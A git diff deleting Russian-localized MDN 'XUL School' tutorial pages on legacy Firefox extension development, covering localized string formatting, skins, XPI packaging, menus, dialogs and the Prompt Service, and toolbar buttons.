-<p>Вам пригодится уметь включать динамическое содержание как часть локализованных (переведённых на язык пользователя) строк. например, когда вы захотите информировать пользователя о некотором состоянии, связанном с расширением.  Например: "Найдено 5 слов по поисковому запросу". Первой мыслью, вероятно, будет просто объединять строки, и держать отдельно свойство "Найдено" и отдельно свойство "слов по ...".  Это плохая идея.  Это значительно усложняет работу переводчиков ("локализаторов"), кроме того, в разных языках правила грамматики могут полностью менять порядок слов в предложении. Поэтому в свойствах лучше использовать параметры:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">xulshoolhello.search.label = Found %S words matching the search query!</pre>
-</div>
-</div>
-
-<p>Затем используйте <strong><em><a href="/en/XUL/stringbundle#m-getFormattedString" title="/en/XUL/stringbundle#m-getFormattedString">"getFormattedString"</a></em></strong> вместо <span id="cke_bm_225S" style="display: none;"> </span><strong><em>"getString"</em></strong><span id="cke_bm_225E" style="display: none;"> </span>, чтобы получить локализованную строку. Благодаря этому нам не нужно держать несколько свойств, и это облегчает жизнь переводчикам. Вы можете прочитать больше об этом в <strong><em><a href="/en/XUL_Tutorial/Property_Files#Text_Formatting" title="/en/XUL_Tutorial/Property_Files#Text_Formatting">разделе "Форматирование текста"</a></em></strong><span id="cke_bm_226E" style="display: none;"> </span> в Учебнике XUL ("XUL Tutorial"). Также обратите внимание на <strong><em><a href="/en/Localization_and_Plurals" title="/en/Localization_and_Plurals">статью "Множественное число и локализация"</a></em></strong>, охватывающую функцию "локализации" в Firefox, которая позволит дополнительно уточнить этот последний пример для обработки различных типов формы множественного числа, также зависящих от языков.</p>
-
-<h3 id="Тема_(скин)">Тема (скин)</h3>
-
-<p>Отделка (styling. создание дизайна, стилизация) XUL очень похожа на отделку HTML. Мы рассмотрим некоторые различия, когда мы коснёмся коробочной модели XUL-а (XUL Box Model), и других более сложных тем. Есть не так много стилей, которые вы можете сделать для минимального меню и простейшего аварийного предупреждения (alert message), так что расширение "Привет, мир!" только включает пустой файл CSS и обязательный глобальный файл Скина:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;?xml-stylesheet type=<span class="code-quote">"text/css"</span> href=<span class="code-quote">"chrome:<span class="code-comment">//global/skin/"</span>?&gt;
-</span>&lt;?xml-stylesheet type=<span class="code-quote">"text/css"</span>
- href=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/skin/browserOverlay.css"</span>?&gt;</span></pre>
-</div>
-</div>
-
-<p>Файл CSS всеобщей темы содержит стили по умолчанию для всех элементов XUL и окон. Когда забывают вовлечь этот файл в окно XUL, то обычно это приводит к интересным и часто к нежелательным результатам. В нашем случае нам действительно не нужно его вовлекать, так как мы накладываем основной файл XUL нашего браузера, а этот файл уже вовлекает в себя эту всеобщую таблицу стилей CSS. Вообще, лучше бы его всегда вовлекать. Так труднее сделать ошибку, не включив его. Если вам интересно, вы можете ввести <code>chrome</code>-путь в адресную строку и посмотреть файл.</p>
-
-<p>Мы коснулись всех файлов в расширении "Привет мир". Теперь вы должны иметь представление об основах участия в разработке расширений, так что теперь нам придется перейти прямо к настройке среды разработки. Но сначала небольшое упражнение.</p>
-
-<h2 id="Упражнение">Упражнение</h2>
-
-<p>Измените приветственное сообщение, которое отображается в окне предупреждения, и переместите меню "Привет мир" в меню "Инструменты", которому оно принадлежит. Заново упакуйте XPI и переустановите его. Вы можете просто перетащить файл XPI в браузер, и он будет установлен локально. Проверьте его и убедитесь, что изменения работают. Если у вас возникли проблемы при установке, вполне вероятно, что вы не воспроизвели структуру XPI правильно, возможно, добавив ненужные папки.</p>
-
-<div class="note"><strong>Примечание:</strong> упаковка расширения действительно состоит только в создании ZIP архива содержимого главного каталога (папки) и последующем изменении расширения файла на ".XPI". <strong>Не пакуйте</strong> содержащий нужные данные каталог, а строго только его содержимое. Содержимое каталога, файлы <strong><em>chrome.manifest</em></strong>, <strong><em>install.rdf</em></strong> и другие файлы и каталоги должны быть в корневом каталоге архива. Если сжать ещё и содержащий каталог (имеется в виду ещё один уровень вложенности), то ваше расширение не будет загружаться.</div>
-
-<p>Имейте в виду, что в Firefox 4 и выше, в Windows и некоторых дистрибутивах Линукса, меню "Инструменты" по умолчанию скрыто. Оно может быть включено с помощью клавиши &lt;ALT&gt;.</p>
-
-<p>Когда закончите, можете посмотреть по этой ссылке решение: <a href="/@api/deki/files/5141/=xulschoolhello2.xpi" title="https://developer.Mozilla.org/@api/deki/files/5141/=xulschoolhello2.xpi">Hello World 2</a>.</p>
-
-<p>{{ PreviousNext("XUL_School/Getting_Started_with_Firefox_Extensions", "XUL_School/Setting_Up_a_Development_Environment") }}</p>
-
-<p><span style="font-size: small;">Этот учебник сообществу Mozilla был любезно пожертвован фирмой Appcoast.</span></p>
-
-<div id="cke_pastebin" style="position: absolute; top: 2144.83px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/ru/xul_school/добавление_меню_и_подменю/index.html b/files/ru/xul_school/добавление_меню_и_подменю/index.html
deleted file mode 100644
index 8c2b96e4a9..0000000000
--- a/files/ru/xul_school/добавление_меню_и_подменю/index.html
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: Добавление меню и подменю
-slug: XUL_School/Добавление_меню_и_подменю
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_menus_and_submenus
----
-<p>{{ PreviousNext("XUL_School/Setting_Up_a_Development_Environment", "XUL_School/Adding_Toolbars_and_Toolbar_Buttons") }}</p>
-<p>The Hello World example in the previous sections shows the two most common ways to add menus. In this section we'll look into more specialized menus and what you can do with them.</p>
-<h2 id="Adding_a_New_Menu">Adding a New Menu</h2>
-<p>We already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want. You should avoid having deep menus or too many options, since they are confusing for most users.</p>
-<p>If your extension requires custom XUL windows, you may also need to have menus on those windows. You can do this with a <a href="/en/XUL/menubar" title="en/XUL/menubar">menubar</a>. The <em>menubar</em> element should be a child of a <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a> element because it is treated like another toolbar on systems other than Mac OS X.</p>
-<div class="note">
- <p>Mac OS X treats menus in a very different way than other systems. If your extension involves menus in any way, you should test it on Mac OS X to make sure everything works adequately.</p>
-</div>
-<p>The toolbox should be positioned near the top of the XUL document, and the code should be similar to this:</p>
-<pre><code>&lt;toolbox&gt;
- &lt;menubar id="</code><code>xulschoolhello</code><code>-menubar"&gt;
- &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-menu" label="&amp;</code><code>xulschoolhello</code><code>.greeting.label;"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="&amp;xulschoolhello.greet.short.label;"
-  oncommand="XULSchoolChrome.GreetingDialog.greetingShort(event);" /&gt;
- &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;"
-  oncommand="XULSchoolChrome.GreetingDialog.greetingMedium(event);" /&gt;
- &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;"
-  oncommand="XULSchoolChrome.GreetingDialog.greetingLong(event);" /&gt;
- &lt;menuseparator /&gt;
- &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.custom.label;"
-  oncommand="XULSchoolChrome.GreetingDialog.greetingCustom(event);" /&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
- &lt;/menubar&gt;
-&lt;/toolbox&gt; </code></pre>
-<p>This code displays a simple <a href="/en/XUL/menu" title="en/XUL/menu">menu</a> with options for 3 different types of greetings, a <a href="/en/XUL/menuseparator" title="en/XUL/menuseparator">menuseparator</a>, and finally an option to show a custom greeting. The separator is usually displayed as a horizontal line that creates a logical division between different types of <a href="/en/XUL/menuitem" title="en/XUL/menuitem">menuitem</a> elements, keeping everything more organized.</p>
-<p>A <em>menubar</em> can hold one or more <em>menu</em> elements. Menus require a <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menupopup</a> element as a container for its children, which are usually <em>menuitem</em> elements, but can also be <em>menuseparator,</em> or <em>menu</em> in order to have multiple nesting levels:</p>
-<pre><code>&lt;toolbox&gt;
- &lt;menubar id="</code><code>xulschoolhello</code><code>-menubar"&gt;
- &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-menu" label="&amp;</code><code>xulschoolhello</code><code>.greeting.label;"&gt;
- &lt;menupopup&gt;
- &lt;menu id="</code><code>xulschoolhello</code><code>-greeting-sizes-menu" label="&amp;</code><code>xulschoolhello</code><code>.greetingSizes.label;"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.short.label;"
-  oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingShort(event);" /&gt;
-  &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;"
-  oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingMedium(event);" /&gt;
-  &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;"
-  oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingLong(event);" /&gt;
-  &lt;/menupopup&gt;
-  &lt;/menu&gt;
-  &lt;menuitem label="&amp;</code><code>xulschoolhello</code><code>.greet.custom.label;"
-  oncommand="</code><code>XULSchoolChrome</code><code>.GreetingDialog.greetingCustom(event);" /&gt;
-  &lt;/menupopup&gt;
-  &lt;/menu&gt;
-  &lt;/menubar&gt;
-&lt;/toolbox&gt; </code></pre>
-<p>In this case we grouped the 3 greeting items into a submenu. It doesn't make much sense to do that in this case because we end up with only two menu items, one of them being a menu with 3 child items.</p>
-<p>You can also have menus that are filled dynamically. Instead of setting the menupopup directly in the XUL, you can use the <a href="/en/XUL/Attribute/onpopupshowing" title="en/XUL/Attribute/onpopupshowing">onpopupshowing</a> event to fill the children when the popup is about to be displayed. DOM functions like <a href="/en/DOM/document.createElement" title="en/DOM/document.createElement">createElement</a> and <a href="/En/DOM/Node.appendChild" title="En/DOM/Node.appendChild">appendChild</a> can be used to accomplish this.</p>
-<div class="note">
- <p>If you have nothing to show on a menu, you should follow the standard used in Firefox: show a single disabled item with an "(Empty)" label.</p>
- <p>If filling your menu takes a noticeable amount of time, you should not make Firefox (and your users) wait for it to fill up before displaying anything. It's best to show an item with a throbber image (see <a class="external" rel="freelink">chrome://global/skin/icons/loading_16.png</a>) so the user knows there's something going on, and asynchronously fill its contents. We'll look into some asynchronous techniques further ahead in the tutorial.</p>
-</div>
-<h2 id="Adding_Elements_to_Existing_Menus">Adding Elements to Existing Menus</h2>
-<p>Just as explained in the previous sections, the best place to overlay your extension menu is inside the <em>Tools</em> menu. That is, unless there's a place inside the menu structure where your extension menus make more sense. If you're overlaying the Tools menu, your overlay code should have something like this:</p>
-<pre><code>&lt;menupopup id="menu_ToolsPopup"&gt;
- &lt;menu id="</code><code>xulschoolhello</code><code>-hello-menu" label="&amp;</code><code>xulschoolhello</code><code>.hello.label;"
-  accesskey="&amp;</code><code>xulschoolhello</code><code>.helloMenu.accesskey;"
-  insertafter="javascriptConsole,devToolsSeparator"&gt;
- &lt;menupopup&gt;
-  &lt;!-- Your menuitem goes here. --&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
-&lt;/menupopup&gt; </code></pre>
-<p>Now let's look at some specialized types of menu items.</p>
-<h2 id="Menu_types">Menu types</h2>
-<h3 id="Checkbox_Menu_Items">Checkbox Menu Items</h3>
-<p>You can make a <em>menuitem</em> "checkable" to allow the user to enable/disable options using the menu. We use two attributes for this: <a href="/en/XUL/menuitem#a-menuitem.type" title="en/XUL/menuitem#a-menuitem.type">type</a> and <a href="/en/XUL/menuitem#a-checked" title="en/XUL/menuitem#a-checked">checked</a>. The <em>type</em> attribute must be set to "checkbox". You can set the <em>checked</em> attribute to "true" to check it by default.</p>
-<p>The item's checked state changes when the user clicks on it. An example of one such item is the View &gt; Status Bar item in the main Firefox menu.</p>
-<h3 id="Radio_Menu_Items">Radio Menu Items</h3>
-<p>If you need to have a set of <em>menuitem</em> elements where only one of them has to be checked at any given moment, you should set the <em>type</em> to "radio". The <em>name</em> attribute is used to identify the items that belong to the radio group.</p>
-<pre><code>&lt;menupopup oncommand="XULSchoolChrome.HW.GreetingDialog.greeting(event);"&gt;
-  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
-  label="&amp;</code><code>xulschoolhello</code><code>.greet.short.label;" checked="true" /&gt;
-  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
-  label="&amp;</code><code>xulschoolhello</code><code>.greet.medium.label;" /&gt;
-  &lt;menuitem type="radio" name="</code><code>xulschoolhello</code><code>-greeting-radio"
-  label="&amp;</code><code>xulschoolhello</code><code>.greet.long.label;" /&gt;
-&lt;/menupopup&gt; </code></pre>
-<p>This is a modified version of the 3 greeting menus. It is now implemented as a radio menu where you pick one of the 3 available choices. The first one is checked by default. The <em>oncommand</em> attribute is set on the <em>menupopup</em> to avoid code duplication, since now the 3 items call the same function.</p>
-<p>Another example of a menu like this is the View &gt; Sidebars menu. Only one sidebar is visible at any given moment, and you can pick from several.</p>
-<h3 id="Menus_with_Images">Menus with Images</h3>
-<p>To add an icon to a <em>menu</em> or <em>menuitem</em>, set its class to "menu-iconic" or "menuitem-iconic" respectively, and set the <a href="/en/XUL/Attribute/image" title="en/XUL/Attribute/image">image</a> attribute or the <a href="/en/CSS/list-style-image" title="en/CSS/list-style-image">list-style-image</a> CSS property. Menu icons are typically 16px by 16px.</p>
-<h2 id="Menus_on_Mac_OS_X">Menus on Mac OS X</h2>
-<p>As mentioned earlier, menus are very different on Mac OS X. This is because menus on Mac are located in a single menu bar which is controlled by the operating system, as opposed to menus in other systems, which are entirely controlled by Firefox. Mac OS X also has menu standards, such as the positioning of certain items that are not used in other systems. Here's a list of the known issues we've run into when handling menus on Mac:</p>
-<ul>
- <li>The About, Preferences and Quit menu items are located under the "Firefox" menu, not the usual places you would find them. You can access these items by id through the DOM, but their parent menu is not easily accessible.</li>
- <li>We've run into bugs when adding, removing, enabling and disabling menu items dynamically, specially the root menu items (File, Edit, View, etc). You should carefully test this behavior to make sure it works properly in your extension.</li>
- <li>Images in menu items may not appear, showing only a narrow segment of the image instead. This seems to happen when remote images are used.</li>
- <li>Menu items are not dynamically updated while they are open. For example, you could have a <em>menuitem</em> that tells you the current time and is updated every second. On other systems you would be able to see the item update itself without having to close the menu and then reopen. This is not the case on Mac OS.</li>
-</ul>
-<p>{{ PreviousNext("XUL_School/Setting_Up_a_Development_Environment", "XUL_School/Adding_Toolbars_and_Toolbar_Buttons") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/ru/xul_school/добавление_окон_и_диалогов/index.html b/files/ru/xul_school/добавление_окон_и_диалогов/index.html
deleted file mode 100644
index 1d77564aac..0000000000
--- a/files/ru/xul_school/добавление_окон_и_диалогов/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Добавление окон и диалогов
-slug: XUL_School/Добавление_окон_и_диалогов
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_windows_and_dialogs
----
-<p>PreviousNext("XUL_School/The_Box_Model", "XUL_School/Adding_sidebars") }}</p>
-<h2 id="Opening_windows_and_dialogs">Opening windows and dialogs</h2>
-<p>To open a new window, use the Javascript <a href="/en/DOM/window.open" title="en/DOM/window.open">window.open</a> function just like with HTML windows.</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">window.open(
- "chrome://xulschoolhello/content/someWindow.xul",
- "xulschoolhello-some-window",
- "chrome,centerscreen");</pre>
- </div>
-</div>
-<p>The first argument is the URL to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. If this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. The <a href="/en/DOM/window.open" title="en/DOM/window.open">window.open</a> page has a detailed description of the features you can use and their values. The following features are very important and you should always keep them in mind:</p>
-<ul>
- <li>chrome. This can only be used from the chrome, not from regular HTML JavaScript. It indicates that a chrome document is being opened, not a web page. This means that the document defines the whole window, and not only the inner content area. You should always include it when opening a XUL window or dialog.</li>
- <li>modal. Modal windows block their parent window until action is taken on them. An alert window is an example of this. Modal windows should be avoided when possible because they interrupt the user's browsing and can become annoying very quickly. This feature should only be used when there's no way to continue without having the user do something. <strong>Never open modal windows at startup.</strong></li>
- <li>resizable. Indicates the user can resize the window or not. In general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content.</li>
-</ul>
-<p>To open a new dialog, use the function <a href="/en/DOM/window.openDialog" title="en/DOM/window.openDialog">window.openDialog</a>, an extension of the <em>open</em> function. It allows you to send a set of optional parameters that can be used to communicate with the dialog.</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">let someValue = 2;
-let returnValue = { accepted : false , result : "" };
-
-window.openDialog(
- "<a class="external" rel="freelink">chrome://xulschoolhello/content/someDialog.xul</a>",
- "xulschoolhello-some-dialog", "chrome,centerscreen",
- someValue, returnValue); // you can send as many extra parameters as you need.
-
-// if (returnValue.accepted) { do stuff }</pre>
- </div>
-</div>
-<p>The optional parameters are available in the dialog code through the <em>window.arguments</em> property:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">let someValue = window.arguments[0];
-let returnValue = window.arguments[1];
-
-// returnValue.accepted = true;
-// returnValue.result = "something";
-</pre>
- </div>
-</div>
-<p>The parameter named <em>returnValue</em> is an object that the dialog will modify to reflect what the user did in it. This is the simplest way to have the dialog return something to its opener. Note that the opener will wait until the dialog is closed. This means the <em>openDialog</em> function call will not return until the dialog has been closed by the user.</p>
-<h2 id="Common_Dialogs_and_the_Prompt_Service">Common Dialogs and the Prompt Service</h2>
-<p>There are several types of dialogs that are fairly common, so there are ways to create them easily without having to reinvent the wheel and write all their XUL and JS code all over again. Whenever you need a new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible. They have been thoroughly tested for OS integration, accessbility and localization, so you save yourself a lot of work and favor them.</p>
-<p>Using the <a href="/en/XPCOM_Interface_Reference/nsIPromptService" title="en/NsIPromptService">Prompt Service</a> is the recommended way to create common dialogs in an extension. Read the article and its examples carefully, because there are many useful functions to use in the Prompt Service. There are some equivalent, simpler functions that are available in the <em>window</em> object, but those are meant for unprivileged HTML JavaScript code.</p>
-<h3 id="Alert">Alert</h3>
-<p>The alert is the simplest form of dialog. All it does is display a text message that the user can read and then click the OK button to dismiss it. We have been using the <a href="/en/DOM/window.alert" title="en/DOM/window.alert">window.alert</a> function to open alert messages in our examples so far, but that's not the right way to do it. It's OK to use this function if you're just debugging some problem and want to see if the program reaches a specific line of code, or to inspect the value of a variable, but your final extension should not have <em>alert</em> calls anywhere.</p>
-<p>If you use <em>window.alert</em>, the alert window will have the title [JavaScript Application], indicating that the source of the message is not well defined. The Prompt Service allows better alerts to be displayed. Here's an example of displaying an alert using the Prompt Service:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">let prompts =
- Cc["@mozilla.org/embedcomp/prompt-service;1"].
- getService(Ci.nsIPromptService);
-
-prompts.alert(window, "Alert Title", "Hello!");</pre>
- </div>
-</div>
-<p>You should of course use localized strings instead of hard-coded ones.</p>
-<p>The Prompt Service allows you to set the title of the dialog however you want it, and also lets you specify the window you want to use as a parent for the alert. This normally should be set to the current window. You can pass a null value and the service will pick the currently active window.</p>
-<h3 id="Confirm">Confirm</h3>
-<p>Confirmation dialogs display a text with a Yes / No question, and prompts the user to choose an answer. In HTML you can use the <a href="/en/DOM/window.confirm" title="en/DOM/window.confirm">window.confirm</a> function for this. The Prompt Service has a <em>confirm</em> method with similar behavior:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">let prompts =
- Cc["@mozilla.org/embedcomp/prompt-service;1"].
- getService(Ci.nsIPromptService);
-
-if (prompts.confirm(window, "Confirm Title", "Would you like to continue?")) {
- // do something.
-} else {
- // do something else
-}</pre>
- </div>
-</div>
-<p>The method returns a boolean value indicating the user's response.</p>
-<h3 id="Others">Others</h3>
-<p>Unprivileged Javascript can also use the <a href="/en/DOM/window.prompt" title="en/DOM/window.prompt">window.prompt</a> function to receive text input from the user. The Prompt Service has a very rich set of functions that allow different kinds of inputs, such as text, passwords, usernames and passwords, and checkboxes that can be used for "Never ask this again"-type dialogs. The <a href="/en/XPCOM_Interface_Reference/nsIPromptService#confirmEx" title="en/nsIPromptService#confirmEx">confirmEx</a> and <a href="/en/XPCOM_Interface_Reference/nsIPromptService#prompt" title="en/nsIPromptService#prompt">prompt</a> methods are the most customizable, allowing a great deal of options that cover most common dialog cases.</p>
-<p>Using the Prompt Service will save you a lot of XUL coding, and you'll be at ease knowing that you're using Mozilla's tried and tested code.</p>
-<h2 id="The_Dialog_Element">The Dialog Element</h2>
-<p>When the Prompt Service is not enough, you'll have to create you own XUL dialogs. Luckily, you still get a great deal of help from the platform if you use the <a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a> element as the document root instead of the more generic <em>window</em> element.</p>
-<p>You may be asking yourself what's the big deal about defining a simple XUL window with an OK and maybe a Cancel button. The dialogs we have covered in this section are very simple and shouldn't be too hard to implement manually using XUL. Well, it's more complicated than that. Different operating systems order and position their buttons differently in their dialogs. There are also subtle aspects about window size, margins and paddings that are not the same for all systems, so you should avoid making dialogs from scratch or overriding the default dialog CSS styles.</p>
-<p>The <em>dialog</em> element handles all of this transparently. All you need to do is define which buttons you'll need and the actions associated with them.</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java">&lt;dialog id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-hello-dialog"</span>
- title=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloDialog.title;"</span>
- buttons=<span class="code-quote">"accept,cancel"</span>
- ondialogaccept=<span class="code-quote">"<span class="code-keyword">return</span> XULSchoolChrome.HelloDialog.accept();"</span>
- ondialogcancel=<span class="code-quote">"<span class="code-keyword">return</span> XULSchoolChrome.HelloDialog.cancel();"</span>
- xmlns=<span class="code-quote">"http:<span class="code-comment">//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"</span>&gt;</span></pre>
- </div>
-</div>
-<p>Carefully read the specification of the <a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a> element. You'll see that you can choose from a wide variety of buttons, associate any action you need to them, override their labels, and even add completely customized extra buttons. All of this without having to worry about your dialog looking odd in some operating systems. The only constant rule is that clicking on OK and Cancel will close the dialog unless your associated function returns false. You should avoid returning false, though, specially with the Cancel button. Dialogs in general should be easy to dismiss.</p>
-<div class="panel" style="border-width: 1px;">
- <div class="panelContent">
- <p>Your dialogs shouldn't have fixed dimensions because of potential localization problems. Dialogs are sized to their contents and will generally work fine. However, there are cases where the dialog contents are generated or expanded dynamically by your code, and you'll need to resize them appropriately. The <a href="/en/DOM/window.sizeToContent" title="en/DOM/window.sizeToContent">window.sizeToContent</a> function is what you need in this case.</p>
- </div>
-</div>
-<h2 id="Input_Controls">Input Controls</h2>
-<p>Most additional XUL windows and dialogs in extensions are some kind of input form. Let's look into the most commonly used form elements and how to use them in your XUL windows. There isn't much we need to add from what the XUL Tutorial explains, so go ahead and read the following sections:</p>
-<ul>
- <li><a href="/en/XUL_Tutorial/Input_Controls" title="en/XUL Tutorial/Input Controls">Input controls</a></li>
- <li><a href="/en/XUL_Tutorial/Numeric_Controls" title="en/XUL Tutorial/Numeric Controls">Numeric controls</a></li>
- <li><a href="/en/XUL_Tutorial/List_Controls" title="en/XUL Tutorial/List Controls">List controls</a></li>
-</ul>
-<p>There are some other aspects to take into account when handling input controls, which we cover in the following sections.</p>
-<h3 id="Groupboxes">Groupboxes</h3>
-<p>The <a href="/en/XUL/groupbox" title="en/XUL/groupbox">groupbox</a> element should be easy to understand: it groups a series of XUL controls together. It's a box container with styling that is usually a visible border around its contents, so that it's clear what is being grouped together. It is frequently used with the <a href="/en/XUL/caption" title="en/XUL/caption">caption</a> element to associate the grouped elements with a title.</p>
-<p>The <em>groupbox</em> shouldn't be seen as an aesthetic device, but a logical one. If all you need is a border, use CSS. The <em>groupbox</em> element should be used when enclosed elements share some function which is separate from other elements or groups in the same window. It's also a useful accessibility feature, because screen readers will read the caption right before reading any text in its contents. You can change its style using CSS in case you don't want the borders to appear. See the Firefox Preferences window for an example of this: sections are defined using <em>groupbox</em> elements, but their style is quite different from the default.</p>
-<h3 id="Attribute_Persistence">Attribute Persistence</h3>
-<p>User actions can change the state of your windows, such as selecting an option in a listbox, or entering text in a textbox. If the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. You need some way of remembering the user-manipulated attribute values so that the window reloads it last state when opened.</p>
-<p>Most XUL elements support the <a href="/en/XUL/Attribute/persist" title="en/XUL/Attribute/persist">persist</a> attribute, which has this exact function. You set the <em>persist</em> attribute with a space-separated list of attribute names, indicating which attribute values must be persisted across window "sessions".</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java">&lt;checkbox id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-some-checkbox"</span>
- label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.someText.label;"
- </span> checked=<span class="code-quote">"<span class="code-keyword">false</span>"</span> persist=<span class="code-quote">"checked"</span> /&gt;</pre>
- </div>
-</div>
-<p>Setting the <em>id</em> attribute of the element is mandatory if you want the <em>persist</em> attribute to work. You can also set persistence programatically using the <em>document.persist</em> function:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="brush: js">document.persist("xulschoolhello-some-checkbox", "checked");</pre>
- </div>
-</div>
-<p>Persistent data is stored in the user profile, in the file <em>localstore.rdf</em>. You may need to modify or delete this file often when testing persistent data in your extension.</p>
-<h3 id="Focus_and_Tabbing">Focus and Tabbing</h3>
-<p>Moving through all input controls in a window using only the keyboard is an accessibility requirement. You can do this in most Firefox windows by pressing the Tab key. Each Tab key press moves you to the next control in the window, giving it focus.</p>
-<p>In general, there's nothing you need to do in order to have good keyboard focus management. Firefox will automatically focus the first input control in your window, and tab focus advances in the order the items are found in the XUL document. If you have a very complex layout, or need customized tabbing behavior, you can set the <a href="/en/XUL/Property/tabIndex" title="en/XUL/Property/tabIndex">tabindex</a> attribute in the controls. You can also use the <a href="/en/XUL/Method/focus" title="en/XUL/Method/focus">focus</a> function to focus an element depending on events such as window load. You should do this carefully, to avoid having inaccessible controls.</p>
-<p>You can also use the <a href="/en/CSS/-moz-user-focus" title="en/CSS/-moz-user-focus">-moz-user-focus</a> CSS property to enable focusing of elements that typically wouldn't receive focus. Again, this should be used sparingly.</p>
-<p>{{ PreviousNext("XUL_School/The_Box_Model", "XUL_School/Adding_sidebars") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/ru/xul_school/добавление_панелей_инструментов_и_кнопок/index.html b/files/ru/xul_school/добавление_панелей_инструментов_и_кнопок/index.html
deleted file mode 100644
index 60ec952087..0000000000
--- a/files/ru/xul_school/добавление_панелей_инструментов_и_кнопок/index.html
+++ /dev/null
@@ -1,214 +0,0 @@
----
-title: Добавление панелей инструментов и кнопок
-slug: XUL_School/Добавление_панелей_инструментов_и_кнопок
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Toolbars_and_Toolbar_Buttons
----
-<p>{{ PreviousNext("XUL_School/Adding_Menus_and_Submenus", "XUL_School/Adding_events_and_commands") }}</p>
-<h2 id="Панели_инструментов">Панели инструментов</h2>
-<p>Adding new toolbars to Firefox is easy, but adding them the wrong way is very easy as well.</p>
-<p>Toolbars in Firefox are very customizable. Some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging multiple toolbars in the process. Firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest.</p>
-<p>The first thing you need to do is add your buttons to the toolbar palette. The <a href="/en/XUL/toolbarpalette" title="en/XUL/toolbarpalette">toolbarpalette</a> is a collection of all toolbar buttons and toolbar items in Firefox, including those added by extensions. To add your buttons, all you need to do is overlay the palette in your main browser overlay.</p>
-<pre>&lt;overlay id="xulschoolhello-browser-overlay"
-  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
- &lt;toolbarpalette id="BrowserToolbarPalette"&gt;
- &lt;toolbarbutton id="xulschoolhello-hello-world-button"
-  class="toolbarbutton-1 chromeclass-toolbar-additional"
- label="&amp;xulschoolhello.helloWorld.label;"
-  tooltiptext="&amp;xulschoolhello.helloWorld.tooltip;"
-  oncommand="XULSchoolChrome.BrowserOverlay.doSomething(event);" /&gt;
- &lt;!-- More buttons here. --&gt;
- &lt;/toolbarpalette&gt;
- &lt;!-- More overlay stuff. --&gt;
-&lt;/overlay&gt;
-</pre>
-<p>One detail that is easy to overlook is the fact that the <em>toolbarpalette</em> element is outside of the <em>window</em> element. If you put the <em>toolbarpalette</em> element inside the <em>window</em> element in your overlay, some weird errors will begin to happen.</p>
-<div class="note">
- <p>Always set the <em>label</em> and <em>tooltiptext</em> attributes of a <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a>. In the case of a <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a> element (discussed later), use the <em>title</em> attribute instead of <em>label</em>. Tooltips are very important for users that want to know what a button does before clicking it.</p>
-</div>
